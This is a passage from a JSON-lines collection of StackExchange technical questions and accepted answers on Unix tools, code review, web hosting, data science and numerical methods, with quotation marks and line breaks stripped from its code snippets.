that ProfitA == ProfitB == ProfitC (as with the values in the previous point) this must be the answer (do you see why?) so the program could exit early with that correct answer.Eliminate return 0You don't need to explicitly provide a return 0; at the end of main -- it's created implicitly by the compiler."  } 
{  "id": "_softwareengineering.296594"  , "question": "I have too many write requests to database. Currently my app implementation is such that it makes pull call to server every 5 seconds to update the changed data. If I implement push through web sockets, does it increase the server load(mainly number of queries getting fired on mysql)?  Because now on change of data (which is every second) it will send push to every client, thus every second it will now run sql query for every client and increases load on my db server ? I am using mysql, php in backend. "  , "title": "Does push via web sockets increases server load if I have too many write requests?"  , "tags": "performance;websockets;client server"  } 
{  "id": "_unix.123226"  , "question": "In Okular,  I add inline notes to a pdf file. I change the default settings forinline notes:from default font Ubuntu 13 to Ubuntu 6, and from default opacity 100% to opacity 0%. But I have to change the settings for every inline note. I wonder ifit is possible to change the settings and save the change for thefollowing inline notes?Also how can I create a inline note without  the box-line boundary?How can I move a existing inline note to another place?Thanks!"  , "title": "Change and save pdf annotation setting in Okular?"  , "tags": "pdf;okular"  } 
{  "id": "_unix.195380"  , "question": "I want to show keyboard layout and selection of language at login screen in RHEL 7.I have modified the language menu to show show keyboard layout and Region & Language settings.On clicking above menu items, applications are launched but they are not visible at login screen.I check the programs are running by taking a remote session.**gkbd-keyboard-display -l usgnome-control-center region**above two applications are executing but none is displaying at login screen(gdm).How can I bring the applications at top of display manager(gdm).I have tried raise_top() function in gnome js, but it is not working."  , "title": "How do I run a application on top, in a display manager like GDM.(RHEL 7, Gnome 3.8.4)"  , "tags": "rhel;gnome3;gdm3"  } 
{  "id": "_unix.254439"  , "question": "I need to find files in a given directory that have been modified in the last N days, where N is the second argument of the script. Basically, I need to give the command with 2 numbers (arguments) and run a script which would do this.Is this line of code right in order to find the files?find . -type f -mtime $2 -exec ls -l {} \\;"  , "title": "Finding files that have been modified using a script?"  , "tags": "scripting;find"  , "accepted_answer": "Sort of. You don't need -exec ls -l {} \\;, the find command already lists the files. If you want to list them with more details, you can use find -ls. There's nothing wrong with -exec ls ... either, it's fine if you prefer that, just not needed. The -mtime N will find files that were modified exactly N days ago. The details are in man find:  +n     for greater than n,  -n     for less than n,   n      for exactly n.So, to find the files modified in the last 2 days, you would runfind /target/path -mtime -2 -lsNote that find . will search in the current directory. To search in a specific directory, use a path like find /path/to/dir. If the 1st argument is the target directory, use (remember to always quote your variables):find $1 -mtime -$2 -lsAlso, note that -mtime only deals with 24 hour periods, days. You'll need to take that into account when writing your command. As explained in man find (this is for -atime but the same applies to -mtime):File was last accessed n*24 hours ago.  When  find  figures  out   how  many  24-hour  periods  ago the file was last accessed, any   fractional part is ignored, so to match -atime +1, a file has to   have been accessed at least two days ago."  } 
{  "id": "_webmaster.100752"  , "question": "Question: Does the registered on date carry over to new owners of a domain name?Scenario:I was recently contacted by a very credible non-profit that had lost their domain name because they failed to renew. As I was researching the history of their site, I noticed something I didn't expect in the Whois. They first registered their domain name in 2006. The new owners picked it up in the last few months. Yet the Registered On date is 2006. "  , "title": "Domain name registered on date"  , "tags": "domains;whois"  , "accepted_answer": "First of all, it's important to note that there is no standard in how the registries stores or expose the information.Most ICANN-regulated TLDs follow the same rules, but generally speaking each registry can store and manipulate most of the registration information independently than other registries.That said, the registered on generally represents the initial registration of a domain name, regardless the ownership.Let's say A registers the domain on Jan 2006. On Mar 2010 the domain is transferred to B. The registration date will still be Jan 2006.The registration date will not change if the domain keeps being renewed, it is transferred to another owner or to another registrar.However, there is also a second scenario: the domain is registered on Jan 2006, then at some point the domain is not renewed and it expires (let's say on Dec 2010). On May 2011 the domain is then re-registered (it doesn't really matter by whom). At this point, the registration date will be May 2011.In other words, the registration date reflects the latest registration, it doesn't reflect the date the domain was registered the first time (if it was registered and then expired)."  } 
{  "id": "_datascience.10489"  , "question": "I have a classification task for people with 3 categories. I want to apply machine learning for that. I have 10 sources of data, which have the same fields (say 4: age, job title, a number of organizations, a number of followers). Data is incomplete, some fields can be missing in some profiles. The training set is limited (say, 300 examples).I have two strategies for feature engineering, and I don't know which one to use.Expand features: take 40 features (Profile 1 age, Profile 1 job title, ..., Profile 10 age, Profile 10 job title).Compact features: take 4 features, and apply some heuristics to merge the values from different profiles. Say, take age and job title which occur most frequently, take a maximum number of organizations, take a sum of numbers of followers.What strategy is generally used to give best results and why?"  , "title": "Expand or compact features?"  , "tags": "machine learning;classification;feature selection"  , "accepted_answer": "The way I see it is that your 10 sources of data, they all refer to the same set of people. Depending on the attributes, some can be expanded, some can be merged ...Attributes such as age should be unique, so it doesn't make sense to expand it to Profile 1 age, profile 2 age ... One simple way is merge them is by using the average or use max. Expanding age only add redundant data to your feature matrix, and increase its dimensionality, in most cases, this doesn't help generalization performance of your model. On the other hand, number of followers can be expanded. Depending on the data source, a guy has 10 followers on Twitter but 1000 followers on Google+ might simply mean that he barely uses Twitter. That being said, the way you pick your features or engineer new features should increase your model performance, so if expanding number of followers actually decrease Cross Validation or Test performance, compared to the one using sum of followers then you can simply use sum of followers. "  } 
{  "id": "_webapps.6542"  , "question": "In a Google Docs document, I would like to be able to specify the page margins (File     Page Setup) in millimeters instead of inches. Is it possible to switch between imperial and metric units?"  , "title": "How to change measuring units in Google Docs?"  , "tags": "google documents"  , "accepted_answer": "Go to Settings  Document Settings on the top right of the page and change the language to English (UK). Rulers and margins will now both be in centimetres (cm).You may need to log out and sign back in before you see the changes take effect."  } 
{  "id": "_webmaster.33245"  , "question": "I am trying to display the files in my folder, Amir, but my table keeps displaying all of the files, . and ... How can I prevent my table from displaying .. or .? I have placed the code and a picture below.<?phpecho '<table border=1><tr>    <th>Name</th>  </tr>';if ($handle = opendir(amir)) {    //echo Directory handle: $handle\\n;    //echo Entries:\\n;    /* This is the correct way to loop over the directory. */    while (false !== ($entry = readdir($handle))) {    //    echo $entry\\n;        echo'  <tr>    <td><a href='. $entry . '>'. $entry. '</a></td>  </tr>';    }    /* This is the WRONG way to loop over the directory. */    while ($entry = readdir($handle)) {        //echo $entry\\n;    }    closedir($handle);}echo'</table>';?>"  , "title": "Prevent file table from showing navigation links"  , "tags": "php;html;directory;table"  , "accepted_answer": "Edit: Try this. (slightly simplified from [here])<?php// open this directory $myDirectory = opendir(./);// get each entrywhile($entryName = readdir($myDirectory)) {    $dirArray[] = $entryName;}// close directoryclosedir($myDirectory);//count num files$indexCount = count($dirArray);Print ($indexCount files<br>\\n);//sort by namesort($dirArray);//print filesprint(<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks>\\n);print(<TR><th>Filename</th><th>Filesize</th></TR>\\n);// loop through the array of files and print them allfor($index=0; $index < $indexCount; $index++) {        if (substr($dirArray[$index], 0, 1) != .){ // don't list hidden files        print(<TR><TD><a href=\\$dirArray[$index]\\>$dirArray[$index]</a></td>);        print(<td>);        print(filesize($dirArray[$index]));        print(</td>);        print(</TR>\\n);    }}print(</TABLE>\\n);?>"  } 
{  "id": "_unix.198561"  , "question": "I have installed google-chrome-stable 64 bit. But it is not opening. My system is Elementary OS Freya 64 bit.Here is the error code that generate in the terminal.[1:1:0425/175043:ERROR:image_metadata_extractor.cc(111)] Couldn't load                 libexif.[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: pixmap,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,[6234:6234:0425/175043:ERROR:browser_main_loop.cc(199)] GTK theme error: Unable to locate theme engine in module_path: murrine,Gtk-Message: Failed to load module canberra-gtk-moduleAborted (core dumped)I have tried to install murrine but the system showed me that this is already in newest version."  , "title": "Can not open google chrome stable on elementary os freya"  , "tags": "chrome;elementary os"  } 
{  "id": "_codereview.73887"  , "question": "I was wondering if someone could tell me things I could improve in this code. This is one of my first Python projects. This program gets the script of a movie (in this case Interstellar) and then finds the occurrences of all words and prints out the 20 most common words in the script.from bs4 import BeautifulSoupimport requestsfrom collections import Counter import operatorimport reclass MovieScript(object):    def __init__(self, movie):        self.movie = movie        self.url = http://www.springfieldspringfield.co.uk/movie_script.php?movie={0}.format(movie.replace( , -))    def get_movie(self):        return self.movie    def get_text(self):        r = requests.get(self.url)        soup = BeautifulSoup(r.text)        return soup    def parse_text(self):        text = self.get_text().findAll('div', {class:scrolling-script-container})[0].text.lower()        text = re.sub(r'\\W+', ' ', text) #remove puncation from the text        return text.split()    def find_all_occurences(self):        return Counter(self.parse_text())    def get_all_occurences(self):        sorted_occurences = sorted(self.find_all_occurences().items(), key=operator.itemgetter(1))        return sorted_occurencesdef Main():    db = MovieScript(interstellar)    print The Movie:  + db.get_movie()    all_occurences = db.get_all_occurences()    for i in range(-1, -21, -1):        print str(-i) + .  + str(all_occurences[i][0]) +  ->  + str(all_occurences[i][1])if __name__ == __main__:    Main()"  , "title": "Finding the occurrences of all words in movie scripts"  , "tags": "python;python 2.7;web scraping;beautifulsoup"  } 
{  "id": "_bioinformatics.860"  , "question": "We can calculate the distance between residues in a PDB file regarding different parameters like closest atoms, alpha carbon, beta carbon, centroid and etc. Which one of these parameters are better to show physical interaction between residues in a PDB file?"  , "title": "Best distance parameter for estimating physical interaction between residues in a PDB file"  , "tags": "protein structure;pdb"  , "accepted_answer": "Use a distance cutoff of 12 between C atoms."  } 
{  "id": "_unix.16790"  , "question": "Suddenly ifconfig -a doesn't prints out the wlan0 on my Fedora14 notebook..WHY? (it worked before..)Infos:# dmesg | egrep -i wireless|wifi|broadcom|bcm4312|10:00.0[    0.219841] pci 0000:10:00.0: reg 10: [mem 0xe8000000-0xe8003fff 64bit][    0.220074] pci 0000:10:00.0: supports D1 D2[    1.539203] ata1.00: ACPI cmd c6/00:10:00:00:00:a0 (SET MULTIPLE MODE) succeeded[    1.543355] ata1.00: ACPI cmd c6/00:10:00:00:00:a0 (SET MULTIPLE MODE) succeeded# lspci | fgrep -i network10:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)# rpm -qa | fgrep -i broadcom-wlbroadcom-wl-5.100.82.38-1.fc14.noarch# lsmod | fgrep -i br## ifconfig -aeth0 ...lo ...# # uname -aLinux localhost.localdomain 2.6.35.13-92.fc14.i686 #1 SMP Sat May 21 17:39:42 UTC 2011 i686 i686 i386 GNU/Linux# lsb_release -aLSB Version:    :core-4.0-ia32:core-4.0-noarchDistributor ID: FedoraDescription:    Fedora release 14 (Laughlin)Release:    14Codename:   Laughlin# # vi /var/log/messages:Jul 16 14:21:40 localhost NetworkManager[1173]: <info> found WiFi radio killswitch rfkill0 (at /sys/devices/platform/hp-wmi/rfkill/rfkill0) (driver hp-wmi)Jul 16 14:21:40 localhost NetworkManager[1173]: <info> WiFi disabled by radio killswitch; enabled by state fileJul 16 14:22:12 localhost NetworkManager[1173]: <info> WiFi now enabled by radio killswitchJul 16 14:24:05 localhost NetworkManager[1215]: <info> found WiFi radio killswitch rfkill0 (at /sys/devices/platform/hp-wmi/rfkill/rfkill0) (driver hp-wmi)Jul 16 14:24:05 localhost NetworkManager[1215]: <info> WiFi enabled by radio killswitch; enabled by state fileJul 16 14:24:32 localhost NetworkManager[1215]: <info> WiFi now disabled by radio killswitchJul 16 14:24:37 localhost NetworkManager[1215]: <info> WiFi now enabled by radio killswitch# "  , "title": "BCM4312 802.11b/g under Fedora 14 - suddenly not working"  , "tags": "fedora;wifi"  } 
{  "id": "_scicomp.24613"  , "question": "The scheme is given by$$\\frac{v_m^{n+1}-v_m^{n-1}}{2k} + b\\frac{v_m^{n+1}+v_m^{n-1}-v_{m-1}^n-v_{m+1}^n}{h^2} = 0$$where $v_m^n$ is the numerical solution at the $m^\\text{th}$ spatial coordinate and $n^\\text{th}$ time step. It approximates a solution to$$\\frac{\\partial u}{\\partial t} - b\\frac{\\partial^2 u}{\\partial x^2} = 0$$I need to find a bound for the local truncation error. Is there a relatively quick way of doing this? I need to do this sort of thing on an exam, and I don't want to take too long, or rush it and make a mistake, possibly taking even longer."  , "title": "Local truncation error of Dufort Frankel Scheme"  , "tags": "numerical analysis"  } 
{  "id": "_codereview.41998"  , "question": "The function itself is just returning as void. But, the point of the posted code is not about what the function is returning. It is the code related to using T-SQL and C# to return data from a SQL database that I would like reviewed. Especially the way the using statements are structured.    public void GetOffice(int syncID)    {        string strQry = @Select so.SyncID,    so.titleFrom Offices oLeft Outer Join SyncOffices so On so.id = o.SyncIDWhere o.SyncID = @syncID;         using (SqlConnection conn = new SqlConnection(Settings.ConnectionString))        {            using (SqlCommand objCommand = new SqlCommand(strQry, conn))            {                objCommand.CommandType = CommandType.Text;                objCommand.Parameters.AddWithValue(@syncID, syncID);                conn.Open();                SqlDataReader rdr = objCommand.ExecuteReader();                if (rdr.Read())                {                    this.OfficeName= rdr.GetString(1);                }                rdr.Close();            }        }    }"  , "title": "Return office details from multiple tables"  , "tags": "c#;sql server;ado.net"  , "accepted_answer": "First of all, kudos for using a Parameter and not concatenating the value into your T-SQL string.You're not disposing all IDisposable objects. SqlDataReader should be disposed as well. Now this makes it quite a bunch of nested using scopes, which you could rework like this:    using (var connection = new SqlConnection(Settings.ConnectionString))    using (var command = new SqlCommand(sql, connection))    {        command.CommandType = CommandType.Text;        command.Parameters.AddWithValue(@syncID, syncId);        connection.Open();        using (var reader = command.ExecuteReader())        {            if (reader.Read())            {                this.OfficeName = reader.GetString(1);            }        }    }Note:Usage of var for implicit typing makes the code easier to read (IMO), if you're using C# 3.0+Disemvoweling is bad. There's no reason to call a variable rdr over reader. Use meaningful names, always.Hungarian notation is evil. There's no reason to prefix a string with str.Stick to camelCasing for locals - that includes parameters, so syncID becomes syncId.The code assumes the query only returns 1 row, but the query isn't written to explicitly select a single row. This could lead to unexpected results.Given some IList<string> results = new List<string>();:        using (var reader = command.ExecuteReader())        {            while (reader.Read())            {                results.Add(reader.GetString(1));            }        }You could then do this.OfficeName = results.Single(); (which would blow up if no rows were returned). One thing that strikes me, is that you're selecting 2 fields, but only using 1, which makes this reader.GetString(1) statement look surprising. If you don't need to select the SyncID field, remove it from your query and do reader.GetString(0) instead.Finally, the T-SQL itself:Select so.SyncID, so.titleFrom Offices oLeft Outer Join SyncOffices so On so.id = o.SyncIDWhere o.SyncID = @syncIDCould look like this:SELECT so.TitleFROM Offices oLEFT JOIN SyncOffices so ON so.id = o.SyncIDWHERE o.SyncID = @syncIDOr, in a string:var sql = SELECT so.Title FROM Offices o LEFT JOIN SyncOffices so ON so.Id = o.SyncId WHERE o.SyncId = @syncId;The line breaks make it look weird, and since it's not too long of a query, I think it would make the code better to have it on a single line."  } 
{  "id": "_unix.315865"  , "question": "The postfix daemon has only the name master if I use netsat like this:root@myhost# netstat -tulpen| grep mastertcp  0  0 127.0.0.1:25  0.0.0.0:*  LISTEN  0  53191445 13640/master        If I use ps I get a more verbose name:root@myhost# ps aux| grep 13640root     13640  0.0  0.0  25036  1500 11:35   0:00 /usr/lib/postfix/masterIs there a way to tell netstat to output the long name? In this case it would be /usr/lib/postfix/master.UpdateIt seems that netstat can't do it. If you know how to do this with an other tool, then this is valid question, too. (But netstat based solutions are still prefered).Update2All answers work. Thank you very much for showing your unix knowledge. But up to now the answers are far too long/complicated. Is there no easy solution? I can install any tool which is needed, but I want the usage to be simple to use.I can't give the bounty to all of you ...There are several answers which to post processing to get the needed information. Each answer uses a different way and I don't see that one solution is better than an other.Unfortunately there seems to be no unix/linux which can do this out of the box. But that's not the fault of you, who tried to help me.Unfortunately I can't give the bounty to all answers :-)I gave the bounty to the user with the least reputation points."  , "title": "netstat: See process name like in `ps aux`"  , "tags": "ps;netstat"  } 
{  "id": "_unix.96459"  , "question": "I have a package with several dependencies. I updated my repo with the given package and his dependencies but when I'm updating the package dependencies are not updated since the required versions are already installed. How could I force those dependencies to be updated? Here's an example to clarify it:I have installedRPM_A_1.0Who have in dependencies :RPM_B version 2.1RPM_C version 1.1Now I updated my repo so I have the following versions:RPM_A_2.0RPM_B version 2.1-12RPM_C version 1.1-12When I call yum update RPM_A the others RPMs are not updated and I would like to force those updates"  , "title": "Yum, force the update of dependencies"  , "tags": "centos;yum"  , "accepted_answer": "There's no easy way to do this with your current set up. Puppet only checks to see if RPM_A version 2.0 is installed. If it sees it is installed and at the desired version, its job is pretty much down. As for when puppet/yum updates the package RPM_A from 1.0 to 2.0, unless there's a specific dependency in RPM_A that says it needs specific newer versions of RPM_B and RPM_C, yum will not go out and fetch the new versions of RPM_B and RPM_C. It will see the packages as already installed and since you're only wanting to update RPM_A, there's no need to get the new versions of RPM_B and RPM_C.There's a few ways to do what you want:If you're the person who is compiling RPM_A, you can put the specific version requirements for RPM_B and RPM_C in the spec file so yum will go fetch them when RPM_A is updated.You can make package types for RPM_B and RPM_C and put them in your manifest and make RPM_A depend on them.Create some meta package that only exists to list the specific verions of RPM_A, RPM_B, and RPM_C that you need installed. This option is kind of dumb since it is basically the same thing as option 2 but you're doing the same work in a spec file instead of a puppet manifest."  } 
{  "id": "_codereview.173874"  , "question": "I'm trying to solve this  Play With Numbers. I have passed the test cases but, I kept getting time limit exceeded.Can someone help me improve its performance in order to pass the time limit, please?ProblemYou are given an array of n numbers and q queries. For each query you have to print the floor of the expected value(mean) of the subarray from L to R.InputFirst line contains two integers N and Q denoting number of array elements and number of queries. Next line contains N space seperated integers denoting array elements.Next Q lines contain two integers L and R(indices of the array).Outputprint a single integer denoting the answer.Time Limit:1.5 sec(s) for each input file.Result Time:Input 1: 1.999309Input 2: 1.998019#include <iostream>#include <vector>#include <math.h>using namespace std;int main() {ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL);int n = 0, q = 0;cin >> n >> q;vector<int> nums(n);for (size_t i = 0; i < n; i++){    cin >> nums[i];}for (size_t i = 0; i < q; i++){    float ans = 0.0f;    int leftIndex = 0, rightIndex = 0;    cin >> leftIndex >> rightIndex;    leftIndex = leftIndex - 1;    rightIndex = rightIndex - 1;    for (size_t i = leftIndex; i <= rightIndex; i++)    {        ans = ans + nums[i];    }    ans = ans / (rightIndex - leftIndex) + 1;    cout << floor(ans) << \\n;    }    system(pause); }"  , "title": "Play With Numbers Programming Challenge (mean value of subarrays)"  , "tags": "c++;programming challenge;time limit exceeded;statistics"  , "accepted_answer": "You are running this O(R - L) loop for each query:for (size_t i = leftIndex; i <= rightIndex; i++){    ans = ans + nums[i];}You could obtain each sum in O(1) time if you stored the array as cumulative sums instead.$$\\begin{align}S_1 =&\\ A_1 \\\\S_2 =&\\ S_1 + A_2 \\\\S_3 =&\\ S_2 + A_3 \\\\ \\vdots& \\\\S_N =& S_{N-1} + A_N\\end{align}$$The tricky part is that \\$S_N\\$ could be as large as \\$10^{15}\\$, which requires more than 32 bits."  } 
{  "id": "_unix.334155"  , "question": "I have a file in the following format, where, columns 6 and 7 are allele A and B. All I need to do is make changes in column 9 and onwards based on the alleles in columns 6 and 7. If column 9 field value is 0 then replace it with column 6 and if it is 2 replace it with column 7. If it is -1 then it should be left as such and 1 should be marked as col 6/col 7. This I have to do repeatedly for all the fields in each until the end of each row. Below are a few such rows pasted for your reference. Each row has some 130 fields. Probe Set ID    Affy SNP ID     Chromosome      Physical Position       Flank   Allele A        Allele B        probeset_id     SunOleic97R     NC94022 S1      S2      S3      S4      S9      S11     S14 AX-147208720    Affx-152069361  Aradu.A01       5066618 TTTCTTGGCGGCATTGCTGATTTCTTATCATCCAA[A/G]CCATTCTTCTTTGTGTCAGGGTGGAATCTAAAATT     A       G       AX-147208720    0       2       0       0       2AX-147209428    Affx-152065184  Aradu.A01       9154456 TAGCTGTTGACATGTCAATTGCTAAGGGAGAGTCC[C/T]TTGGAAAGCCCTACATCATTCATCAAATCATTCTC     T       C       AX-147209428    2       0       2       0       0AX-147209429    Affx-152069061  Aradu.A01       9155638 TCAGCAAATGAACCTCTTAAGAAACCAATTCGGTC[A/G]TTGCTTATCACTAAGCTTTCAATCCCTTTCACTGG     A       G       AX-147209429    2       0       2       0       0AX-147209430    Affx-152031763  Aradu.A01       9157305 CGGCGCTCTAAAATCCAGATAACAACTCCAACAAC[C/T]AAGAAAAAGGTTGCTGTGACAAACCACATCATTGG     T       C       AX-147209430    2       0       2       0       0AX-147209432    Affx-152067683  Aradu.A01       9205209 CCCTTAATTGGGGAAGAGAGTTGTTCCACTGTGAG[A/G]ATTGATGTTAGGCTTGCAATGTAGCTTGAATTCAG     A       G       AX-147209432    2       0       2       0       0AX-147209600    Affx-152035192  Aradu.A01       9873259 CTCCTTCTCTCGGTTTCCAAGACAAAAGAAAGACA[A/G]ATATCTTTTAAGATCTTCCTCAGTTTTGTTCTCCC     A       G       AX-147209600    2       0       0       0       0AX-147209601    Affx-152067325  Aradu.A01       9873427 TGGCCACATTGGAACCACAACATACACAGTGAAGT[C/T]TTGCTTAGCTTTAATCTTGCTAACAATTTTAAGTG     T       C       AX-147209601    2       0       0       0       0AX-147209615    Affx-152066978  Aradu.A01       9974460 AAAACTCACAATTCTTCTTTGATGATCTGAGTCCT[C/T]TCCATTTGACAATTTAGCATCCACCACCACAATCT     T       C       AX-147209615    0       2       2       2       2I initially tried to replace the value of field in column 9 based on its values using:awk '{if ($9 == 0) print $9 == $6}; 1' file.txt |less -S It did not do any change to the original file.Can anyone please help me!"  , "title": "replace values of fields in each row with values in previous fields until the end of each row"  , "tags": "awk"  } 
{  "id": "_webapps.13737"  , "question": "I was operating a web site profile using Analytics.When I changed my site domain, I add new profile and deleted old one.I want to restore the old one now. No way?"  , "title": "Can I restore Google Analytics website profile which has been removed?"  , "tags": "google;google analytics"  , "accepted_answer": "Once you delete it, it's gone."  } 
{  "id": "_cstheory.25907"  , "question": "I've been interested in looking into the area of de-amortization recently (i.e. finding data structures with matching worst-case and amortized running time bounds, or exhibiting lower bounds against matching the amortized complexity of certain operations with a worst-case bound). The only reference I've been able to find so far is a survey from COCOON by S.R. Kosaraju and M. Pop.Are there any other good surveys or set of papers to read regarding de-amortization?"  , "title": "References for de-amortization"  , "tags": "reference request;ds.data structures;lower bounds;amortized analysis"  } 
{  "id": "_webmaster.59450"  , "question": "I found in a video zz.zz.zz.zzz.com being as a URL and streaming the content from this. attached is the URL fro information. My question is: is there some URL like this zz...? Is this a localhost / a domain hostname ?"  , "title": "Is zz.zz.zz.zzz a local host or a domain Hostname?"  , "tags": "domains;web hosting;url"  } 
{  "id": "_codereview.52495"  , "question": "The following program is a demonstration of variant and double visitation used to obtain double dispatch between the elements of two inhomogeneous containers. Most of the work is done at compile time. What do you think about it compared to the dynamic version in explained in Wikipedia?boost::variant does not employ variadic templates and has a hand coded limit to 20 different types which can be easily extended to 50 but not beyond. Is it a crazy idea to use this pattern (with an appropriate variant implementation) with more than 50 types, say 100 spaceships and 10 different asteroids or so?#include <iostream>#include <vector>#include boost/variant.hppusing std::cout;using std::endl;////////// some basic objectsclass SpaceShip {};class ApolloSpacecraft : public SpaceShip {};class Asteroid {public:  void CollideWith(SpaceShip&)        { cout << Asteroid hit a SpaceShip << endl; }  void CollideWith(ApolloSpacecraft&)        { cout << Asteroid hit an ApolloSpacecraft << endl; }};class ExplodingAsteroid : public Asteroid {public:  void CollideWith(SpaceShip&)        { cout << ExplodingAsteroid hit a SpaceShip << endl; }  void CollideWith(ApolloSpacecraft&)       { cout << ExplodingAsteroid hit an ApolloSpacecraft << endl; }};////////// visitorstruct CollideVisitor : public boost::static_visitor<void> {  template <typename A, typename S>  void operator()( A & a, S & s) const { a.CollideWith(s);}};////////// demoint main() {  std::vector<boost::variant<Asteroid,ExplodingAsteroid>> asteroids;  asteroids.emplace_back(Asteroid());  asteroids.emplace_back(ExplodingAsteroid());  std::vector<boost::variant<SpaceShip,ApolloSpacecraft>> spaceships;  spaceships.emplace_back(SpaceShip());  spaceships.emplace_back(ApolloSpacecraft());  for (auto & a : asteroids) {    for (auto & s : spaceships) {      boost::apply_visitor(CollideVisitor(), a, s);    }  }  return 0;}"  , "title": "Multiple dispatch with variant and multi visitation in C++"  , "tags": "c++;c++11;template;boost;variant type"  } 
{  "id": "_softwareengineering.155168"  , "question": "I bury a good deal of my ideas for fear that I don't know enough about scaling web applications and high-traffic websites. That said, I'd like to know of any general topics to research in order to ensure that your web app doesn't break / slow down when you start getting to Twitter-level traffic.I'm looking for research topics with, preferably, additional resources.For example: Make sure you optimize SQL queries (see High Performance MySQL Optimization)"  , "title": "Research topics for starting and optimizing a high-traffic website"  , "tags": "optimization;research"  , "accepted_answer": "Likely SuspectsMost likely, the things you want to pay attention to are:your caching tier,your database tier,your general architecture's design (if it's not designed to scale, it just won't).Further ReadingWords of caution about the resources below:Some are generic resources, others are specific to one stack or language but still provide insight on the types of issues to deal with and how to (try to) address or mitigate them.Some provide general information of scalability.Some give only hints on basic pipeline and programming optimizations.Some are sponsored or hosted by industry-actors, in which case conclusions and comparisons may or may not be accurate and/or impartial.Research papersSome papers' links may be unaccessible for you if you don't have a subscription to some publication networks.Dynamic Load-Balancing on Web-Server Systems [PDF]Web-Search for a Planet: the Google Architecture [PDF]High-Performance Site Design Techniques [PDF]Scalability Issues for High-Performance Digital Libraries on the Web [PDF]Improving Performance on the Internet [PDF]Web Server Farm in the Cloud [PDF]Observations on Tuning a Java Application for Performance and ScalabilityThe Akamai Network: A Platform for High-Performance Web-Applications [PDF]BooksBuilding Scalable WebSites (Henderson, 2006)Building Scalable and High-Performance Java Web-Applications (Barish, 2002)Handbook of Cloud Computing (Furht, Escalante, 2010)High-Performance WebSites: Essential Knowledge for Front-End Engineers (Souders, 2007)Architecture of Reliable Web-Applications Software (Radaideh, Al-Ameed, 2007)Articles, Blogs and Web ResourcesPerformance Tuning and Optimization of High-Traffic WebSitesThe Ultimate Guide to Web Optimization (Tips and Best Practices)A herd of resources on Google's Make The Web Faster effortlike these tutorialsScaling Python for High-Load WebSitesHandling Web-Servers of High-Traffic WebSitesHow to Scale PHP ApplicationsTYPO3 Scalability for High-Traffic WebSitesScaling Twitter: Making Twitter 10,000 Percent FasterScaling a High-Traffic Application: Our Journey From Java to PHPNotes on the Google Talk ArchitectureFamous Last WordsWhile I can understand your original intuition that you should bury some projects out of fear that they won't adapt well and survive, I think that's the wrong approach. While the build it and they will come approach can be wrong, the build it only once it's perfect counter-part can be just as wrong.You don't know if your projects will reach the critical mass where they actually need to care about these issues, so why not build them anyways?Maybe you'll fail at first, but then you'll have learned and your next product will fare better. It's better to try it this way than to one day really have to dive in the deep end of the pool without a net, for a real product. So go ahead and give these ideas a chance.While it's true that it's hard to make an application scalable when it hasn't been originalyl designed to be, at least you'll have an application that needs to be modified for scalability. In my book it's better than no application at all."  } 
